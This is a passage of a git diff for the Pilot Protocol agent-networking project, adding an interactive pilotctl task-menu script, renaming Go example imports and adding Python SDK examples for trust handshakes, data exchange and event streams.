$OUR_HOSTNAME | Address: $OUR_ADDRESS\n" + +while true; do + echo -e "\n${BLUE}=== Actions ===${NC}" + echo "1. Submit task 2. Check received 3. View queue 4. Process task 5. Check submitted 6. View results 7. Worker mode 8. Exit" + read -p "Select (1-8): " ACTION + + case $ACTION in + 1) + read -p "\nTarget node: " TARGET_NODE + [ -z "$TARGET_NODE" ] && echo "Error: Target required" && continue + TRUSTED=$(pilotctl --json trust | jq -r --arg target "$TARGET_NODE" '.data.trusted[] | select(.node_id == ($target | tonumber) or . == $target) | .node_id // empty') + if [ -z "$TRUSTED" ]; then + read -p "No trust. Send handshake? (y/n): " SEND_HANDSHAKE + [ "$SEND_HANDSHAKE" = "y" ] && pilotctl handshake "$TARGET_NODE" "task submit demo" && echo "Handshake sent." + continue + fi + read -p "Task description: " TASK_DESC + RESULT=$(pilotctl --json task submit "$TARGET_NODE" --task "$TASK_DESC") + if [ $? -eq 0 ]; then + echo -e "${GREEN}✓ Task submitted: $(echo "$RESULT" | jq -r '.data.task_id')${NC}" + else + echo "Error: $RESULT" + fi + ;; + + 2) + TASKS=$(pilotctl --json task list --type received) + TASK_COUNT=$(echo "$TASKS" | jq -r '.data.tasks | length') + [ "$TASK_COUNT" -eq 0 ] && echo "\nNo tasks received." && continue + echo -e "\n${GREEN}$TASK_COUNT task(s):${NC}" + echo "$TASKS" | jq -r '.data.tasks[] | " [\(.status)] \(.task_id): \(.description)"' + NEW_COUNT=$(echo "$TASKS" | jq -r '[.data.tasks[] | select(.status == "NEW")] | length') + [ "$NEW_COUNT" -gt 0 ] && echo -e "${RED}⚠ $NEW_COUNT NEW task(s) - accept/decline within 1 minute!${NC}" + ;; + + 3) + QUEUE=$(pilotctl --json task queue) + QUEUE_SIZE=$(echo "$QUEUE" | jq -r '.data.queue | length') + [ "$QUEUE_SIZE" -eq 0 ] && echo "\nQueue empty." && continue + echo -e "\n${GREEN}Queue ($QUEUE_SIZE tasks):${NC}" + echo "$QUEUE" | jq -r '.data.queue[] | " \(.position). \(.task_id): \(.description)"' + ;; + + 4) + read -p "\nTask ID: " TASK_ID + [ -z "$TASK_ID" ] && echo "Task ID required" && continue + TASK_INFO=$(pilotctl --json task list --type received | jq -r --arg id "$TASK_ID" '.data.tasks[] | select(.task_id == $id)') + [ -z "$TASK_INFO" ] && echo "Task not found" && continue + STATUS=$(echo "$TASK_INFO" | jq -r '.status') + DESCRIPTION=$(echo "$TASK_INFO" | jq -r '.description') + echo "Status: $STATUS | Description: $DESCRIPTION" + + case $STATUS in + NEW) + read -p "Accept? (y/n): " ACCEPT + if [ "$ACCEPT" = "y" ]; then + pilotctl task accept --id "$TASK_ID" && echo -e "${GREEN}✓ Accepted${NC}" + else + read -p "Decline reason: " JUST + pilotctl task decline --id "$TASK_ID" --justification "$JUST" && echo -e "${GREEN}✓ Declined${NC}" + fi + ;; + ACCEPTED) + read -p "Execute? (y/n): " EXEC + [ "$EXEC" != "y" ] && continue + pilotctl task execute + read -p "\n[Do the work now] Press Enter when done..." + read -p "Results (1=text, 2=file): " RTYPE + if [ "$RTYPE" = "1" ]; then + read -p "Results text: " RTXT + pilotctl task send-results --id "$TASK_ID" --results "$RTXT" && echo -e "${GREEN}✓ Sent${NC}" + elif [ "$RTYPE" = "2" ]; then + read -p "Results file: " RFILE + [ -f "$RFILE" ] && pilotctl task send-results --id "$TASK_ID" --file "$RFILE" && echo -e "${GREEN}✓ Sent${NC}" + fi + ;; + EXECUTING) + read -p "Send results now? (y/n): " SEND + [ "$SEND" != "y" ] && continue + read -p "Results (1=text, 2=file): " RTYPE + if [ "$RTYPE" = "1" ]; then + read -p "Results text: " RTXT + pilotctl task send-results --id "$TASK_ID" --results "$RTXT" && echo -e "${GREEN}✓ Sent${NC}" + elif [ "$RTYPE" = "2" ]; then + read -p "Results file: " RFILE + [ -f "$RFILE" ] && pilotctl task send-results --id "$TASK_ID" --file "$RFILE" && echo -e "${GREEN}✓ Sent${NC}" + fi + ;; + *) + echo "Task in $STATUS (no action)." + ;; + esac + ;; + + 5) + SUBMITTED=$(pilotctl --json task list --type submitted) + TASK_COUNT=$(echo "$SUBMITTED" | jq -r '.data.tasks | length') + [ "$TASK_COUNT" -eq 0 ] && echo "\nNo tasks submitted." && continue + echo -e "\n${GREEN}$TASK_COUNT submitted:${NC}" + echo "$SUBMITTED" | jq -r '.data.tasks[] | " [\(.status)] \(.task_id): \(.description)"' + ;; + + 6) + RESULTS_DIR="$HOME/.pilot/tasks/results" + [ ! -d "$RESULTS_DIR" ] && echo "\nNo results directory." && continue + RESULT_FILES=$(ls -1 "$RESULTS_DIR" 2>/dev/null | grep -E '.*_result\.(txt|json)$' || true) + [ -z "$RESULT_FILES" ] && echo "\nNo results found." && continue + echo -e "\n${GREEN}Results:${NC}" + echo "$RESULT_FILES" | while read -r file; do echo " $file"; done + read -p "View file (or Enter to skip): " RFILE + [ -n "$RFILE" ] && [ -f "$RESULTS_DIR/$RFILE" ] && cat "$RESULTS_DIR/$RFILE" + ;; + + 7) + echo -e "\n${YELLOW}Worker mode - checking every 10s. Ctrl+C to exit.${NC}" + while true; do + echo -e "\n${BLUE}[$(date "+%H:%M:%S")] Checking...${NC}" + TASKS=$(pilotctl --json task list --type received) + NEW_TASKS=$(echo "$TASKS" | jq -r '[.data.tasks[] | select(.status == "NEW")] | .[].task_id') + if [ -n "$NEW_TASKS" ]; then + echo "$NEW_TASKS" | while read -r TID; do + DESC=$(echo "$TASKS" | jq -r --arg id "$TID" '[.data.tasks[] | select(.task_id == $id)] | .[0].description') + echo "New task: $TID - $DESC" + read -p "Accept? (y/n): " ACC + if [ "$ACC" = "y" ]; then + pilotctl task accept --id "$TID" && echo -e "${GREEN}✓ Accepted${NC}" + else + read -p "Decline reason: " JUST + pilotctl task decline --id "$TID" --justification "$JUST" && echo -e "${GREEN}✓ Declined${NC}" + fi + done + else + echo "No new tasks." + fi + sleep 10 + done + ;; + + 8) + exit 0 + ;; + + *) + echo "Invalid option." + ;; + esac +done diff --git a/examples/client/main.go b/examples/go/client/main.go similarity index 91% rename from examples/client/main.go rename to examples/go/client/main.go index 1c97b7a2..62540166 100644 --- a/examples/client/main.go +++ b/examples/go/client/main.go @@ -5,8 +5,8 @@ import ( "fmt" "log" - "web4/pkg/driver" - "web4/pkg/protocol" + "github.com/TeoSlayer/pilotprotocol/pkg/driver" + "github.com/TeoSlayer/pilotprotocol/pkg/protocol" ) func main() { diff --git a/examples/config/daemon.json b/examples/go/config/daemon.json similarity index 69% rename from examples/config/daemon.json rename to examples/go/config/daemon.json index 2d9e8ad2..876e564e 100644 --- a/examples/config/daemon.json +++ b/examples/go/config/daemon.json @@ -1,12 +1,12 @@ { - "registry": "35.193.106.76:9000", - "beacon": "35.193.106.76:9001", + "registry": "34.71.57.205:9000", + "beacon": "34.71.57.205:9001", "listen": ":4000", "socket": "/tmp/pilot.sock", "encrypt": true, "registry-tls": false, - "identity": "/var/lib/pilot/identity.key", - "owner": "", + "identity": "/var/lib/pilot/identity.json", + "email": "", "keepalive": "30s", "idle-timeout": "120s", "syn-rate-limit": 100, diff --git a/examples/config/nameserver.json b/examples/go/config/nameserver.json similarity index 100% rename from examples/config/nameserver.json rename to examples/go/config/nameserver.json diff --git a/examples/config/rendezvous.json b/examples/go/config/rendezvous.json similarity index 100% rename from examples/config/rendezvous.json rename to examples/go/config/rendezvous.json diff --git a/examples/dataexchange/main.go b/examples/go/dataexchange/main.go similarity index 94% rename from examples/dataexchange/main.go rename to examples/go/dataexchange/main.go index 76dec203..1c410e4c 100644 --- a/examples/dataexchange/main.go +++ b/examples/go/dataexchange/main.go @@ -6,9 +6,9 @@ import ( "log" "net" - "web4/pkg/dataexchange" - "web4/pkg/driver" - "web4/pkg/protocol" + "github.com/TeoSlayer/pilotprotocol/pkg/dataexchange" + "github.com/TeoSlayer/pilotprotocol/pkg/driver" + "github.com/TeoSlayer/pilotprotocol/pkg/protocol" ) func main() { diff --git a/examples/echo/main.go b/examples/go/echo/main.go similarity index 95% rename from examples/echo/main.go rename to examples/go/echo/main.go index ff57b99f..844707da 100644 --- a/examples/echo/main.go +++ b/examples/go/echo/main.go @@ -4,7 +4,7 @@ import ( "flag" "log" - "web4/pkg/driver" + "github.com/TeoSlayer/pilotprotocol/pkg/driver" ) func main() { diff --git a/examples/eventstream/main.go b/examples/go/eventstream/main.go similarity index 91% rename from examples/eventstream/main.go rename to examples/go/eventstream/main.go index 7585b1c0..e8c72720 100644 --- a/examples/eventstream/main.go +++ b/examples/go/eventstream/main.go @@ -5,9 +5,9 @@ import ( "fmt" "log" - "web4/pkg/driver" - "web4/pkg/eventstream" - "web4/pkg/protocol" + "github.com/TeoSlayer/pilotprotocol/pkg/driver" + "github.com/TeoSlayer/pilotprotocol/pkg/eventstream" + "github.com/TeoSlayer/pilotprotocol/pkg/protocol" ) func main() { diff --git a/examples/httpclient/main.go b/examples/go/httpclient/main.go similarity index 92% rename from examples/httpclient/main.go rename to examples/go/httpclient/main.go index 15aaa1f7..025d3395 100644 --- a/examples/httpclient/main.go +++ b/examples/go/httpclient/main.go @@ -6,8 +6,8 @@ import ( "io" "log" - "web4/pkg/driver" - "web4/pkg/protocol" + "github.com/TeoSlayer/pilotprotocol/pkg/driver" + "github.com/TeoSlayer/pilotprotocol/pkg/protocol" ) func main() { diff --git a/examples/secure/main.go b/examples/go/secure/main.go similarity index 91% rename from examples/secure/main.go rename to examples/go/secure/main.go index 4fe1d302..f1ee3371 100644 --- a/examples/secure/main.go +++ b/examples/go/secure/main.go @@ -6,9 +6,9 @@ import ( "log" "net" - "web4/pkg/driver" - "web4/pkg/protocol" - "web4/pkg/secure" + "github.com/TeoSlayer/pilotprotocol/pkg/driver" + "github.com/TeoSlayer/pilotprotocol/pkg/protocol" + "github.com/TeoSlayer/pilotprotocol/pkg/secure" ) func main() { diff --git a/examples/webserver/main.go b/examples/go/webserver/main.go similarity index 95% rename from examples/webserver/main.go rename to examples/go/webserver/main.go index e700c140..5dc3ef69 100644 --- a/examples/webserver/main.go +++ b/examples/go/webserver/main.go @@ -6,7 +6,7 @@ import ( "log" "net/http" - "web4/pkg/driver" + "github.com/TeoSlayer/pilotprotocol/pkg/driver" ) func main() { diff --git a/examples/python_sdk/README.md b/examples/python_sdk/README.md new file mode 100644 index 00000000..62993aab --- /dev/null +++ b/examples/python_sdk/README.md @@ -0,0 +1,214 @@ +# Pilot Protocol Python SDK Examples + +This directory contains examples demonstrating how to use the Pilot Protocol +Python SDK — from basic operations to advanced PydanticAI agent integration. + +## Architecture + +The Python SDK calls into the Go driver compiled as a C-shared library via +`ctypes`. There is **no protocol reimplementation** in Python — Go is the +single source of truth. + +``` +Python script → pilotprotocol (ctypes) → libpilot.so → daemon +``` + +## Prerequisites + +1. **Build the shared library:** + ```bash + make sdk-lib # produces bin/libpilot.dylib (macOS) or bin/libpilot.so (Linux) + ``` + +2. **Install the Python SDK:** + ```bash + pip install pilotprotocol + # Or for development: + pip install -e ../../sdk/python + ``` + +3. **Start the Pilot Protocol daemon:** + ```bash + pilotctl daemon start --hostname my-agent --email user@example.com + ``` + +4. **For multi-agent examples, establish trust:** + ```bash + pilotctl handshake other-agent "collaboration" + # Wait for approval or approve incoming requests + pilotctl pending + pilotctl approve + ``` + +## Examples Overview + +### 1. Basic Usage (`basic_usage.py`) + +Demonstrates fundamental SDK operations: +- Connecting to the daemon +- Getting node information +- Setting hostname and tags +- Resolving peer hostnames +- Trust management (handshake, approve, list trusted peers) +- Visibility control + +```bash +python basic_usage.py +``` + +**Key patterns:** +```python +from pilotprotocol import Driver, PilotError + +with Driver() as d: + info = d.info() + d.set_hostname("my-agent") + d.set_tags(["python", "ml"]) + peers = d.trusted_peers() +``` + +--- + +### 2. Data Exchange Service (`data_exchange_demo.py`) + +Shows how to use the Data Exchange service (port 1001) for typed communication: +- Send text messages +- Send JSON objects +- Transfer binary data +- Send files + +```bash +python data_exchange_demo.py +``` + +**Key patterns:** +```python +# Send a datagram to peer's Data Exchange port +d.send_to("0:0001.0000.0002:1001", frame_bytes) +``` + +--- + +### 3. Event Stream Service (`event_stream_demo.py`) + +Demonstrates pub/sub event messaging (port 1002): +- Publish events to topics +- Subscribe to specific topics +- Wildcard subscriptions +- Topic filtering + +```bash +python event_stream_demo.py publish +python event_stream_demo.py subscribe +python event_stream_demo.py wildcard +python event_stream_demo.py filter +``` + +**Key patterns:** +```python +# Publish datagram +d.send_to(f"{peer_addr}:1002", event_frame) + +# Subscribe via stream connection +with d.dial(f"{peer_addr}:1002") as conn: + conn.write(subscription_frame) + data = conn.read(4096) # blocks until event arrives +``` + +--- + +### 4. Task Submit Service (`task_submit_demo.py`) + +Shows agent-to-agent task delegation (port 1003): +- Submit tasks to worker agents +- Check polo score +- Handle task acceptance/rejection +- Security validation (dangerous task rejection) + +```bash +python task_submit_demo.py submit +python task_submit_demo.py trust-check +``` + +**Key patterns:** +```python +# Open stream to Task Submit port, send request, read response +with d.dial(f"{peer_addr}:1003") as conn: + conn.write(task_frame) + response = conn.read(4096) +``` + +--- + +### 5. PydanticAI Agent (`pydantic_ai_agent.py`) + +Integrates Pilot Protocol as tools for a PydanticAI agent: +- Discover peers by hostname +- Send messages to other agents +- Delegate tasks to workers +- Check network status +- Manage trust relationships + +```bash +pip install pydantic-ai +python pydantic_ai_agent.py +``` + +**Key patterns:** +```python +from pydantic_ai import Agent, RunContext +from pilotprotocol import Driver + +@agent.tool +def discover_peer(ctx: RunContext[PilotDependencies], hostname: str) -> dict: + return ctx.deps.driver.resolve_hostname(hostname) +``` + +--- + +### 6. PydanticAI Multi-Agent (`pydantic_ai_multiagent.py`) + +Advanced multi-agent collaboration system: +- Coordinator delegates research queries +- Researcher performs analysis +- Summariser synthesises results +- All communication over Pilot Protocol + +```bash +pip install pydantic-ai +python pydantic_ai_multiagent.py +``` + +## API Quick Reference + +| Old (async) | New (ctypes) | +|---|---| +| `await Driver.connect()` | `Driver()` | +| `async with await Driver.connect() as d:` | `with Driver() as d:` | +| `await d.info()` | `d.info()` | +| `await d.send_to(addr_obj, port, data)` | `d.send_to("N:XXXX.YYYY:PORT", data)` | +| `conn_id = await d.dial_addr(addr, port)` | `conn = d.dial("N:XXXX.YYYY:PORT")` | +| `await d.conn_send(conn_id, data)` | `conn.write(data)` | +| `await d.conn_close(conn_id)` | `conn.close()` (or use `with`) | +| `asyncio.run(main())` | `main()` | + +## Error Handling + +All SDK errors are raised as `PilotError`: + +```python +from pilotprotocol import Driver, PilotError + +try: + with Driver() as d: + d.resolve_hostname("nonexistent") +except PilotError as e: + print(f"Error: {e}") +``` + +## Documentation + +- **SDK Reference:** `sdk/python/README.md` +- **CLI Reference:** `examples/cli/BASIC_USAGE.md` +- **Protocol Spec:** `docs/SPEC.md` +- **Agent Skills:** `docs/SKILLS.md` diff --git a/examples/python_sdk/basic_usage.py b/examples/python_sdk/basic_usage.py new file mode 100644 index 00000000..daafebbc --- /dev/null +++ b/examples/python_sdk/basic_usage.py @@ -0,0 +1,191 @@ +#!/usr/bin/env python3 +"""Basic usage examples for the Pilot Protocol Python SDK. + +This script demonstrates: +- Connecting to the daemon +- Getting node info +- Setting hostname +- Resolving peer hostnames +- Establishing trust (handshake/approve) +- Listing trusted peers and pending requests + +Prerequisites: +- Build shared library: make sdk-lib +- Daemon must be running: pilotctl daemon start --hostname my-agent +""" + +import sys +from pilotprotocol import Driver, PilotError + + +def show_info(driver: Driver) -> None: + """Display current node information.""" + print("\n=== Node Info ===") + info = driver.info() + print(f"Address: {info.get('address')}") + print(f"Node ID: {info.get('node_id')}") + print(f"Hostname: {info.get('hostname', '(not set)')}") + print(f"Peers: {info.get('peers', 0)}") + print(f"Connections: {info.get('connections', 0)}") + print(f"Uptime: {info.get('uptime_secs', 0)}s") + + +def set_hostname_example(driver: Driver, hostname: str) -> None: + """Set the node's hostname.""" + print(f"\n=== Setting Hostname: {hostname} ===") + result = driver.set_hostname(hostname) + print(f"Result: {result}") + + +def resolve_hostname_example(driver: Driver, hostname: str) -> dict: + """Resolve a peer's hostname to address and node_id.""" + print(f"\n=== Resolving Hostname: {hostname} ===") + try: + result = driver.resolve_hostname(hostname) + print(f"Node ID: {result.get('node_id')}") + print(f"Address: {result.get('address')}") + return result + except PilotError as e: + print(f"Failed to resolve: {e}") + print("Hint: Ensure mutual trust is established") + return {} + + +def handshake_example(driver: Driver, node_id: int, justification: str) -> None: + """Send a trust handshake request to a peer.""" + print(f"\n=== Sending Handshake to Node {node_id} ===") + print(f"Justification: {justification}") + try: + result = driver.handshake(node_id, justification) + print(f"Result: {result}") + print("Handshake request sent. Wait for peer to approve.") + except PilotError as e: + print(f"Handshake failed: {e}") + + +def pending_handshakes_example(driver: Driver) -> list: + """List pending trust requests.""" + print("\n=== Pending Trust Requests ===") + result = driver.pending_handshakes() + pending = result.get("pending", []) + + if not pending: + print("No pending requests") + return [] + + for req in pending: + print(f"Node ID: {req.get('node_id')}") + print(f"Address: {req.get('address')}") + print(f"Justification: {req.get('justification', '(none)')}") + print(f"Received: {req.get('timestamp', 'unknown')}") + print("---") + + return pending + + +def approve_handshake_example(driver: Driver, node_id: int) -> None: + """Approve a pending trust request.""" + print(f"\n=== Approving Node {node_id} ===") + try: + result = driver.approve_handshake(node_id) + print(f"Result: {result}") + print("Trust established!") + except PilotError as e: + print(f"Approval failed: {e}") + + +def list_trusted_peers(driver: Driver) -> None: + """List all mutually trusted peers.""" + print("\n=== Trusted Peers ===") + result = driver.trusted_peers() + trusted = result.get("trusted", []) + + if not trusted: + print("No trusted peers yet") + return + + for peer in trusted: + print(f"Node ID: {peer.get('node_id')}") + print(f"Address: {peer.get('address')}") + print(f"Hostname: {peer.get('hostname', '(none)')}") + print("---") + + +def set_visibility_example(driver: Driver, public: bool) -> None: + """Set node visibility (public or private).""" + visibility = "public" if public else "private" + print(f"\n=== Setting Visibility: {visibility} ===") + result = driver.set_visibility(public) + print(f"Result: {result}") + + +def set_tags_example(driver: Driver, tags: list[str]) -> None: + """Set capability tags for the node.""" + print(f"\n=== Setting Tags: {', '.join(tags)} ===") + result = driver.set_tags(tags) + print(f"Result: {result}") + + +def main() -> None: + """Run basic usage examples.""" + print("Pilot Protocol Python SDK — Basic Usage Examples") + print("=" * 60) + + # Connect to daemon + print("\nConnecting to daemon...") + try: + with Driver() as driver: + print("✓ Connected") + + # Show current info + show_info(driver) + + # Set hostname if not already set + set_hostname_example(driver, "python-demo-agent") + + # Set tags + set_tags_example(driver, ["python", "demo", "sdk"]) + + # Set to private mode (default) + set_visibility_example(driver, False) + + # List trusted peers + list_trusted_peers(driver) + + # List pending handshakes + pending = pending_handshakes_example(driver) + + # Interactive examples (commented out by default) + # Uncomment and customise for your use case: + + # Example: Resolve a peer's hostname + # peer = resolve_hostname_example(driver, "other-agent") + + # Example: Send trust request to a peer + # if peer: + # peer_id = peer.get("node_id") + # handshake_example(driver, peer_id, "SDK demo collaboration") + + # Example: Approve a pending request + # if pending: + # approve_handshake_example(driver, pending[0]["node_id"]) + + print("\n" + "=" * 60) + print("✓ Basic usage examples completed") + print("\nNext steps:") + print("- Run data_exchange_demo.py for file/message transfer") + print("- Run event_stream_demo.py for pub/sub patterns") + print("- Run task_submit_demo.py for task execution") + + except PilotError as e: + print(f"\n✗ Failed to connect to daemon: {e}") + print("\nHint: Start the daemon first:") + print(" pilotctl daemon start --hostname my-agent") + sys.exit(1) + except Exception as e: + print(f"\n✗ Unexpected error: {e}") + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/examples/python_sdk/data_exchange_demo.py b/examples/python_sdk/data_exchange_demo.py new file mode 100644 index 00000000..dd0b12da --- /dev/null +++ b/examples/python_sdk/data_exchange_demo.py @@ -0,0 +1,234 @@ +#!/usr/bin/env python3 +"""Data Exchange service demo using Pilot Protocol Python SDK. + +The Data Exchange service (port 1001) provides typed frame protocol for: +- Text messages +- JSON objects +- Binary data +- File transfers + +All transfers include ACKs and are persisted to ~/.pilot/inbox/ and ~/.pilot/received/ + +Prerequisites: +- Build shared library: make sdk-lib +- Daemon running: pilotctl daemon start --hostname sender-agent +- Target peer: Must have mutual trust established +""" + +import json +import sys +import time +from pathlib import Path +from pilotprotocol import Driver, PilotError + + +# Data Exchange port +DATA_EXCHANGE_PORT = 1001 + +# Frame types (matches Go implementation in pkg/dataexchange/) +FRAME_TEXT = 0x01 +FRAME_JSON = 0x02 +FRAME_BINARY = 0x03 +FRAME_FILE = 0x04 +FRAME_ACK = 0x10 + + +def pack_text_frame(message: str) -> bytes: + """Pack a text message into a Data Exchange frame.""" + msg_bytes = message.encode("utf-8") + frame = bytearray(1 + len(msg_bytes)) + frame[0] = FRAME_TEXT + frame[1:] = msg_bytes + return bytes(frame) + + +def pack_json_frame(data: dict) -> bytes: + """Pack a JSON object into a Data Exchange frame.""" + json_bytes = json.dumps(data).encode("utf-8") + frame = bytearray(1 + len(json_bytes)) + frame[0] = FRAME_JSON + frame[1:] = json_bytes + return bytes(frame) + + +def pack_binary_frame(data: bytes) -> bytes: + """Pack binary data into a Data Exchange frame.""" + frame = bytearray(1 + len(data)) + frame[0] = FRAME_BINARY + frame[1:] = data + return bytes(frame) + + +def pack_file_frame(filename: str, content: bytes) -> bytes: + """Pack a file into a Data Exchange frame. + + Format: [FRAME_FILE][filename_len:2][filename][content] + """ + filename_bytes = filename.encode("utf-8") + if len(filename_bytes) > 65535: + raise ValueError("Filename too long") + + frame = bytearray(1 + 2 + len(filename_bytes) + len(content)) + frame[0] = FRAME_FILE + frame[1:3] = len(filename_bytes).to_bytes(2, "big") + frame[3 : 3 + len(filename_bytes)] = filename_bytes + frame[3 + len(filename_bytes) :] = content + return bytes(frame) + + +def send_text_message(driver: Driver, peer_addr: str, message: str) -> None: + """Send a text message via Data Exchange.""" + print(f"\n=== Sending Text Message ===") + print(f"To: {peer_addr}:{DATA_EXCHANGE_PORT}") + print(f"Message: {message}") + + frame = pack_text_frame(message) + driver.send_to(f"{peer_addr}:{DATA_EXCHANGE_PORT}", frame) + + print("✓ Text message sent") + print("Target will receive in: ~/.pilot/inbox/") + + +def send_json_message(driver: Driver, peer_addr: str, data: dict) -> None: + """Send a JSON object via Data Exchange.""" + print(f"\n=== Sending JSON Message ===") + print(f"To: {peer_addr}:{DATA_EXCHANGE_PORT}") + print(f"Data: {json.dumps(data, indent=2)}") + + frame = pack_json_frame(data) + driver.send_to(f"{peer_addr}:{DATA_EXCHANGE_PORT}", frame) + + print("✓ JSON message sent") + + +def send_file(driver: Driver, peer_addr: str, filepath: Path) -> None: + """Send a file via Data Exchange.""" + print(f"\n=== Sending File ===") + print(f"To: {peer_addr}:{DATA_EXCHANGE_PORT}") + print(f"File: {filepath}") + + if not filepath.exists(): + print(f"✗ File not found: {filepath}") + return + + content = filepath.read_bytes() + print(f"Size: {len(content)} bytes") + + frame = pack_file_frame(filepath.name, content) + driver.send_to(f"{peer_addr}:{DATA_EXCHANGE_PORT}", frame) + + print("✓ File sent") + print(f"Target will receive in: ~/.pilot/received/{filepath.name}") + + +def send_binary_data(driver: Driver, peer_addr: str, data: bytes) -> None: + """Send raw binary data via Data Exchange.""" + print(f"\n=== Sending Binary Data ===") + print(f"To: {peer_addr}:{DATA_EXCHANGE_PORT}") + print(f"Size: {len(data)} bytes") + + frame = pack_binary_frame(data) + driver.send_to(f"{peer_addr}:{DATA_EXCHANGE_PORT}", frame) + + print("✓ Binary data sent") + + +def main() -> None: + """Run Data Exchange demo.""" + print("Pilot Protocol Python SDK — Data Exchange Demo") + print("=" * 60) + + if len(sys.argv) < 2: + print("\nUsage: python data_exchange_demo.py ") + print("\nExamples:") + print(" python data_exchange_demo.py other-agent") + print(" python data_exchange_demo.py 0:0000.0000.0005") + print("\nPrerequisites:") + print(" 1. Build library: make sdk-lib") + print(" 2. Start daemon: pilotctl daemon start --hostname sender-agent") + print(" 3. Establish trust: pilotctl handshake other-agent") + sys.exit(1) + + peer = sys.argv[1] + print(f"\nTarget peer: {peer}") + + try: + with Driver() as driver: + print("✓ Connected to daemon") + + info = driver.info() + print(f"Our address: {info.get('address')}") + + # Resolve peer hostname to address if needed + peer_addr = peer + if ":" not in peer: + print(f"\nResolving hostname: {peer}") + result = driver.resolve_hostname(peer) + peer_addr = result.get("address") + print(f"Resolved to: {peer_addr}") + + # Example 1: Send text message + send_text_message( + driver, + peer_addr, + "Hello from Python SDK! This is a text message.", + ) + + time.sleep(0.5) + + # Example 2: Send JSON message + send_json_message( + driver, + peer_addr, + { + "type": "status_update", + "status": "online", + "timestamp": "2026-03-03T10:00:00Z", + "metrics": {"cpu": 45.2, "memory": 1024}, + }, + ) + + time.sleep(0.5) + + # Example 3: Send binary data + binary_data = bytes([0x48, 0x65, 0x6C, 0x6C, 0x6F]) # "Hello" + send_binary_data(driver, peer_addr, binary_data) + + time.sleep(0.5) + + # Example 4: Send a file + demo_file = Path("/tmp/demo_data.json") + demo_file.write_text( + json.dumps( + { + "source": "Python SDK", + "message": "This is a demo file transfer", + "data": [1, 2, 3, 4, 5], + }, + indent=2, + ) + ) + send_file(driver, peer_addr, demo_file) + + print("\n" + "=" * 60) + print("✓ All Data Exchange examples completed") + print("\nOn the target node, check:") + print(" pilotctl inbox # See text/JSON messages") + print(" pilotctl received # See transferred files") + print(" ls ~/.pilot/inbox/") + print(" ls ~/.pilot/received/") + + except PilotError as e: + print(f"\n✗ Pilot error: {e}") + print("\nHint: Start the daemon first:") + print(" pilotctl daemon start --hostname sender-agent") + sys.exit(1) + except Exception as e: + print(f"\n✗ Error: {e}") + import traceback + traceback.print_exc() + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/examples/python_sdk/event_stream_demo.py b/examples/python_sdk/event_stream_demo.py new file mode 100644 index 00000000..bcfcbfff --- /dev/null +++ b/examples/python_sdk/event_stream_demo.py @@ -0,0 +1,266 @@ +#!/usr/bin/env python3 +"""Event Stream service demo using Pilot Protocol Python SDK. + +The Event Stream service (port 1002) provides pub/sub messaging with: +- Topic-based routing +- Wildcard subscriptions (*) +- Real-time event delivery +- Multiple subscribers per topic + +Prerequisites: +- Build shared library: make sdk-lib +- Daemon running: pilotctl daemon start --hostname publisher-agent +- Target peer: Must have mutual trust established +""" + +import json +import sys +import time +import threading +from pilotprotocol import Driver, PilotError + + +# Event Stream port +EVENT_STREAM_PORT = 1002 + + +def pack_event(topic: str, message: str) -> bytes: + """Pack an event into Event Stream format. + + Format: [topic_len:2][topic][message] + """ + topic_bytes = topic.encode("utf-8") + message_bytes = message.encode("utf-8") + + if len(topic_bytes) > 65535: + raise ValueError("Topic too long") + + frame = bytearray(2 + len(topic_bytes) + len(message_bytes)) + frame[0:2] = len(topic_bytes).to_bytes(2, "big") + frame[2 : 2 + len(topic_bytes)] = topic_bytes + frame[2 + len(topic_bytes) :] = message_bytes + + return bytes(frame) + + +def publish_event(driver: Driver, peer_addr: str, topic: str, message: str) -> None: + """Publish an event to a peer's event stream broker.""" + print(f"Publishing: {topic} -> {message}") + frame = pack_event(topic, message) + driver.send_to(f"{peer_addr}:{EVENT_STREAM_PORT}", frame) + + +def subscribe_and_listen(driver: Driver, peer_addr: str, topic: str, duration: int = 30) -> None: + """Subscribe to events from a peer. + + Opens a stream connection to the peer's event stream broker, + sends a subscription frame, then listens for events. + """ + print(f"\n=== Subscribing to Topic: {topic} ===") + print(f"Peer: {peer_addr}:{EVENT_STREAM_PORT}") + print(f"Duration: {duration}s") + + # Open stream to event stream port + with driver.dial(f"{peer_addr}:{EVENT_STREAM_PORT}") as conn: + print("✓ Connected") + + # Send subscription frame (same format as publish) + sub_frame = pack_event(topic, "") + conn.write(sub_frame) + print(f"✓ Subscribed to: {topic}") + + # Listen for events + print("\nWaiting for events...") + print("-" * 40) + + start_time = time.time() + event_count = 0 + + while time.time() - start_time < duration: + try: + data = conn.read(4096) + if not data: + break + + # Parse event frame + if len(data) < 2: + continue + + topic_len = int.from_bytes(data[0:2], "big") + if len(data) < 2 + topic_len: + continue + + received_topic = data[2 : 2 + topic_len].decode("utf-8") + message = data[2 + topic_len :].decode("utf-8") + + event_count += 1 + timestamp = time.strftime("%H:%M:%S") + print(f"[{timestamp}] {received_topic}: {message}") + + except PilotError: + # Read timeout or connection closed + break + except Exception as e: + print(f"Parse error: {e}") + continue + + print("-" * 40) + print(f"✓ Received {event_count} events in {duration}s") + + +def publish_sequence(driver: Driver, peer_addr: str, topic: str, count: int = 10, interval: float = 1.0) -> None: + """Publish a sequence of events.""" + print(f"\n=== Publishing Event Sequence ===") + print(f"Topic: {topic}") + print(f"Count: {count}") + print(f"Interval: {interval}s") + + for i in range(count): + message = json.dumps( + { + "sequence": i + 1, + "timestamp": time.time(), + "data": f"Event {i + 1} of {count}", + } + ) + + publish_event(driver, peer_addr, topic, message) + print(f" [{i + 1}/{count}] Published") + + if i < count - 1: + time.sleep(interval) + + print("✓ Sequence complete") + + +def demo_wildcard_subscription(driver: Driver, peer_addr: str) -> None: + """Demo wildcard subscription listening to all topics.""" + print("\n=== Wildcard Subscription Demo ===") + print("Subscribing to: * (all topics)") + + # Start subscriber in a thread + sub_thread = threading.Thread( + target=subscribe_and_listen, + args=(driver, peer_addr, "*", 15), + daemon=True, + ) + sub_thread.start() + + # Wait for subscription to establish + time.sleep(2) + + # Publish events to multiple topics + topics = ["status", "metrics", "alerts", "logs"] + for i, topic in enumerate(topics): + publish_event(driver, peer_addr, topic, f"Test message for {topic} (#{i + 1})") + time.sleep(0.5) + + # Wait for subscriber to finish + sub_thread.join(timeout=20) + + +def demo_topic_filtering(driver: Driver, peer_addr: str) -> None: + """Demo topic-specific subscription.""" + print("\n=== Topic Filtering Demo ===") + + # Start subscriber in a thread + sub_thread = 